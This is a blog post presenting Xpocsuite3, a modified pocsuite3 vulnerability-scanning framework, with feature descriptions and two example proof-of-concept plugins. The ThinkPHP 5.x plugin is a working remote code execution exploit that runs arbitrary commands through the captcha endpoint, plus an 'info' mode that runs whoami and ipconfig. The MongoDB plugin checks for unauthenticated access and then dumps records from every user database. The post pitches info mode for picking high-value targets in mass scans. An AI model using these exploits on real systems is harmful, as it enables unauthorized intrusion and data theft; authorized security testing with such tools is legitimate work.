Xpocsutie3: POC detection framework based on secondary modification of pocsuite 3

Posted by misheck on Tue, 01 Feb 2022 02:39:14 +0100

brief introduction

Xpocsutie3 is a POC detection framework with secondary modification based on pocsuite 3.

Pocsuite 3 was my main poc detection framework before, and was later integrated into my asset management platform as the core of a poc detection module. However, with the continuous use, it is found that it still has some shortcomings, such as being particularly cumbersome in writing poc and inflexible in dealing with some special scenarios.

However, with the deeper understanding of the overall framework of pocsuite 3, it is found that it has strong scalability and can be further optimized according to some of its own habits to make it play a greater role. Xpocsuite 3 came into being.

characteristic

Compatible with original poc

At present, because many POCS are still written in the original pocsuite 3 format, the workload of change is a little large, so the premise of current change is that the use of the original poc cannot be affected.

Add parameter -- uri

This is mainly to deal with the situation that the website is not built in the root path, such as http://xxx.xxx.xxx.xxx/thinkphp/public/index.php The detection path should be / ThinkPHP / public / instead of the root path.

  • uri: use the current uri for detection. The current path is used by default, i.e http://xxx.xxx.xxx.xxx/thinkphp/public/
  • Root: the root directory is used for detection. It is mainly used to deal with the target of the incoming tape path, but the vulnerability exists in the root path. Namely http://xxx.xxx.xxx.xxx/
  • All: detect all paths and deal with the situation that the vulnerability exists in the middle of the path or requires in-depth scanning. That is, the above target will detect / / thinkphp /thinkphp/public /

Add info mode

When testing a large number of targets, many vulnerabilities are often found, but there is little practical value. For example, the weak password of the database is not found, but it is found to be an empty database; It was found that a command was executed, but a useless test server was found. Therefore, this model is added to quickly locate high-value targets in the case of a large number of vulnerabilities.

In short, verify mode is mainly used to detect the existence of vulnerabilities at the lowest cost, while info mode is to further automatically collect relevant information about the target after discovering vulnerabilities.

Optimize poc writing

When writing poc, the original pocsuite 3 needs to write a lot of content that has nothing to do with detection but is required. As a result, many poc scripts with one line of core code need to write at least dozens of lines of code to complete. Therefore, in xpocuite3, except for the key detection logic, all other original required fields are automatically filled by the framework, so that users can pay more attention to the preparation of detection logic and reduce the workload.

The poc is further subdivided into http format and non http format. The url parameter is passed in by default for the poc of http type; For POCS of non http type, the host and port parameters are passed in by default, which are automatically passed in by XPocsuite3 according to the poc type.

Increase the default values of the original fields and put them into POCBase to reduce the workload of writing poc.

It is more convenient for plugins to detect and output some non mandatory content to the platform, or add more detailed content to other plugins.

The detection logic is completely independent

The focus of writing poc is the preparation of detection methods, but pocsuite 3 does not handle the corresponding detection interface functions well enough before and after calling. When writing poc, it is often necessary to process the target format first, and then realize the detection logic. After the detection, it is also necessary to adjust the results to the types supported by pocsuite 3, which is obviously a little cumbersome for the writer.

Fortunately, pocsuite 3 reserves the interface function. The original interface function has been rewritten in xpocsuite 3. The original interface function is mainly used to complete the input and output processing in general scenarios and call the corresponding implementation detection logic function. In this way, when writing poc in xpocsuite 3, you only need to complete the detection logic function corresponding to the original interface function, When the framework is called, it will input and output the results by itself. If you encounter complex scenarios, you can also re implement these interface functions in poc.

  • _ verify calls the check function
  • _ Info call info function
  • _ Attack calls the attack function

other

  • Remove the strict target format verification of the original version, add the automatic adjustment function of the target format, and repair the input wrong target format by the framework as far as possible
  • Fix some bug s encountered in use

Display of some functions

uri parameter

In actual scenarios, there are often cases where the specified path has no vulnerabilities, but the sub path may have vulnerabilities. For example: http://test.com/thinkphp/public/ ThinkPHP command execution exists, detection http://test.com/thinkphp/public/admin/index The vulnerability cannot be detected. In this case, the uri parameter can be used

--Uri URI (default mode):

The actual detection path is http://test.com/thinkphp/public/admin/index

--uri root:

The actual detection path is http://test.com/

--url all:

The actual detection paths are:

 http://test.com/thinkphp/public/admin/index
 http://test.com/thinkphp/public/admin/
 http://test.com/thinkphp/public/
 http://test.com/thinkphp/
 http://test.com/

Therefore, vulnerabilities can be detected in this case

info mode

Get unauthorized access to redis database information

No input format restrictions

The framework no longer limits the input format, and automatically fixes the wrong format as much as possible (of course, the format that is too outrageous can't be saved by the framework ~)

original edition

python3 cli.py -u localhost -r pocs/redis_unauthorized_access.py

XPocsuite3

python3 run.py -u localhost -r pocsuite3/pocs/demo/redis_unauthorized_access.py

Minimalist poc

Except for the core detection function, it can be omitted!

Preparation of new version poc

Http class

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re

import requests

from pocsuite3.lib.core.enums import POC_CATEGORY, VUL_TYPE
from pocsuite3.lib.core.poc import POCBase
from pocsuite3.lib.core.register import register_poc


class POC(POCBase):
    #####None of the following attributes can be written#####
    vulID = 10000
    name = 'Thinkphp Command execution 2'
    version = '1.0.0'
    author = 'HX'
    protocol = POC_CATEGORY.PROTOCOL.HTTP
    install_requires = []
    appName = 'Thinkphp'
    appVersion = '5.0.0<=ThinkPHP5<=5.0.23,5.1.0<=ThinkPHP<=5.1.30'
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    desc = 'The vulnerability lies in ThinkPHP The bottom layer does not check the validity of the controller name well, which leads to the fact that the user can call any method of any class without opening the forced route, which eventually leads to the generation of Remote Code Execution Vulnerability.'
    repair_suggest = 'Upgrade to the latest version'
    cvss = 'high'
    #####None of the above attributes can be written#####

    # Methods to be implemented by using verify mode
    def check(self, url): # http class poc default incoming url parameter
        flag = 'PHP Extension Build'
        data = "_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1"

        payloads = [
            r"/index.php?s=captcha"
        ]
        for payload in payloads:
            vul_url = url + payload
            headers = {
                "Content-Type": "application/x-www-form-urlencoded"
            }
            r = requests.post(vul_url, data=data, headers=headers)

            if flag in r.text:
                result = {}
                result['Name'] = self.name
                result['Url'] = vul_url
                return result
        return False

    # Methods to be implemented using attack mode
    def attack(self, url, command): # http class poc default incoming url,command parameter
        attack_url = url + "/index.php?s=captcha"
        data = {"_method": "__construct", "filter[]": "system", "method": "get",
                 "server[REQUEST_METHOD]": command}
        try:
            text = requests.post(attack_url, data=data, timeout=10).text
            res = re.findall('<div class="echo">(.*?)</div>', text, re.S)
            if res:
                result = {}
                result['Name'] = self.name
                result['Url'] = self.url
                result['Result'] = res[0].strip()
                return result
        except:
            result = {}
            result['Name'] = self.name
            result['Url'] = self.url
            result['Result'] = 'Command execution exception'
            return result

    # How to use info mode
    def info(self, url): # http class poc default incoming url parameter
        attack_url = url + "/index.php?s=captcha"
        info=''
        
        data = {"_method": "__construct", "filter[]": "system", "method": "get",
                 "server[REQUEST_METHOD]": 'whoami'}
        text = requests.post(attack_url, data=data, timeout=4).text
        res = re.findall('<div class="echo">(.*?)</div>', text, re.S)
        info+='whoami: {}\n'.format(res[0].strip())

        data = {"_method": "__construct", "filter[]": "system", "method": "get",
                "server[REQUEST_METHOD]": 'ipconfig'}
        text = requests.post(attack_url, data=data, timeout=4).text
        res = re.findall('<div class="echo">(.*?)</div>', text, re.S)
        info += 'ipconfig: {}\n'.format(res[0].strip())
        
        if res:
            result = {}
            result['Name'] = self.name
            result['Url'] = self.url
            result['Info'] = info
            return result


register_poc(POC)

Non Http class

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import binascii
import socket
import traceback

import pymongo

from pocsuite3.lib.core.enums import POC_CATEGORY
from pocsuite3.lib.core.poc import POCBase
from pocsuite3.lib.core.register import register_poc


class POC(POCBase):
    vulID = 1
    name = 'Mongodb Unauthorized access'
    version = '1.0.0'
    author = 'HX'
    protocol = POC_CATEGORY.PROTOCOL.TELENT  # Non HTTP type needs to declare non http. Non HTTP line cannot be omitted!!
    install_requires = ['pymongo'] # If you need to install other modules, you can declare here
    appName = 'Mongodb'
    appVersion = 'ALL'

    def check(self, host, port=27017): # The non http poc class will pass in the host and port parameters by default, and the port parameter will be filled in as the default port
        try:
            socket.setdefaulttimeout(10)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((host, int(port)))
            data = binascii.a2b_hex(
                "3a000000a741000000000000d40700000000000061646d696e2e24636d640000000000ffffffff130000001069736d6173746572000100000000")
            s.send(data)
            result = s.recv(1024)
            if "ismaster".encode() in result:
                getlog_data = binascii.a2b_hex(
                    "480000000200000000000000d40700000000000061646d696e2e24636d6400000000000100000021000000026765744c6f670010000000737461727475705761726e696e67730000")
                s.send(getlog_data)
                result = s.recv(1024)
                if "totalLinesWritten".encode() in result:
                    result = dict()
                    result['PocName'] = self.name
                    result['Host'] = host
                    result['Port'] = port
                    return result
        except Exception as e:
            traceback.print_exc()

    def info(self, host, port=27017): # The non http poc class will pass in the host and port parameters by default, and the port parameter will be filled in as the default port
        info = ''
        client = pymongo.MongoClient("mongodb://{}:{}/{}".format(host, port, ''))

        db_list = client.list_database_names()
        black_db = ['admin', 'config', 'local']
        for dbname in db_list:
            if dbname not in black_db:
                info = info + 'database{}The information is as follows:\n'.format(dbname)
                db = client[dbname]

                col_list = db.list_collection_names()

                for colname in col_list:
                    col = db[colname]
                    tmpdata = col.find_one()
                    tmpcount = col.estimated_document_count()
                    info = info + '{}common{}Data bar,The first data is:{}\n'.format(colname, tmpcount, tmpdata)

                info = info + '\n'

        return info
    
    def attack(self, host, port=27017, command=''):# Non http poc will pass in the host, port and command parameters by default. The port parameter is filled in the default port, and the command can fill in the default command
        pass


register_poc(POC)

Access

Pay attention to official account security workshop, reply xpocsuite3 to get download link

Legal Disclaimer

It is illegal to use xpocsuite 3 to attack the target without the prior consent of both parties.
Xpocsuite 3 is for security testing purposes only